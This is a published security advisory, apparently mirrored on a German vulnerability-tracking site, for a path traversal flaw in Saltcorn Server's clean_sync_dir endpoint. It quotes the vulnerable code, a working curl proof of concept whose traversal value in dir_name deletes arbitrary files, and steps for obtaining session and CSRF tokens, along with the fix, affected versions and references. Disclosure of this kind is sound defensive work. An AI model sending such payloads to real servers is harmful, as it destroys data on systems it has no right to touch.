Saltcorn Server allows logged-in users to delete arbitrary files because of a path traversal vulnerability
Summary
A logged-in user with any role can delete arbitrary files on the filesystem by calling the sync/clean_sync_dir endpoint. The dir_name POST parameter is not validated/sanitized and is used to construct the syncDir that is deleted by calling fs.rm.
Details
- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346
router.post(
"/clean_sync_dir",
error_catcher(async (req, res) => {
const { dir_name } = req.body; // [1] source
try {
const rootFolder = await File.rootFolder();
const syncDir = path.join(
rootFolder.location,
"mobile_app",
"sync",
dir_name // [2]
);
await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink
res.status(200).send("");
} catch (error) {
getState().log(2, `POST /sync/clean_sync_dir: '${error.message}'`);
res.status(400).json({ error: error.message || error });
}
})
);
PoC
The following PoC can be executed with a user with any role (admin, staff, user, public)
- create a file in a folder different from where the server is started:
touch /tmp/secret
cat /tmp/secret
- log with a user and retrieve valid
connect.sidand_csrfvalues*** - send the following
curlrequest
curl -i -X $'POST' \
-H $'Host: localhost:3000' \
-H $'Content-Type: application/x-www-form-urlencoded' \
-H $'Content-Length: 93' \
-H $'Origin: http://localhost:3000' \
-H $'Connection: close' \
-b $'connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true' \
--data-binary $'_csrf=VALID_CSRF_VALUE&dir_name=/../../../../../../../../../../tmp/secret' \
$'http://localhost:3000/sync/clean_sync_dir'
- check if the file previously created does not exist anymore:
cat /tmp/secret
cat: /tmp/secret: No such file or directory
*** obtain connect.sid and _csrf values
A possible way to retrieve connect.sid and _csrf values is to use the password reset functionality:
- log in
- open the browser developer console, go to the
Networktab filter forsettingsrequest - visit
http://localhost:3000/auth/settings - trigger the change password functionality
- under the
HeadersandRequesttabs, grab theconnect.sidand_csrfvalues and replace them in the curl command
Impact
Arbitrary file delete
Recommended Mitigation
Resolve the syncDir and check if it starts with rootFolder.location/mobile_app/sync.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | @saltcorn/server | < 1.0.0-beta.16 | 1.0.0-beta.16 |
Verweise
- https://github.com/saltcorn/saltcorn/security/advisories/GHSA-43f3-h63w-p6f6
- https://nvd.nist.gov/vuln/detail/CVE-2024-47818
- https://github.com/saltcorn/saltcorn/commit/3c551261d0e230635774798009951fa83a07cc3a
- https://github.com/saltcorn/saltcorn
- https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H- Schwäche (CWE)
CWE-22- Plattform
- npm
- Paket
@saltcorn/server- Veröffentlicht
- 07.10.2024
- Aktualisiert
- 11.10.2026 10:22
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-43f3-h63w-p6f6 - CC BY 4.0
Schwachstellenhistorie: @saltcorn/server
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 9
- Erste → letzte
- 10.2024 04.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 2
- Hoch 3
- Mittel 4
Veröffentlichungen pro Jahr
- 2024: 5
- 2025: 0
- 2026: 4
-
Saltcorn Server allows logged-in users to delete arbitrary files because of a path traversal vulnerability dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.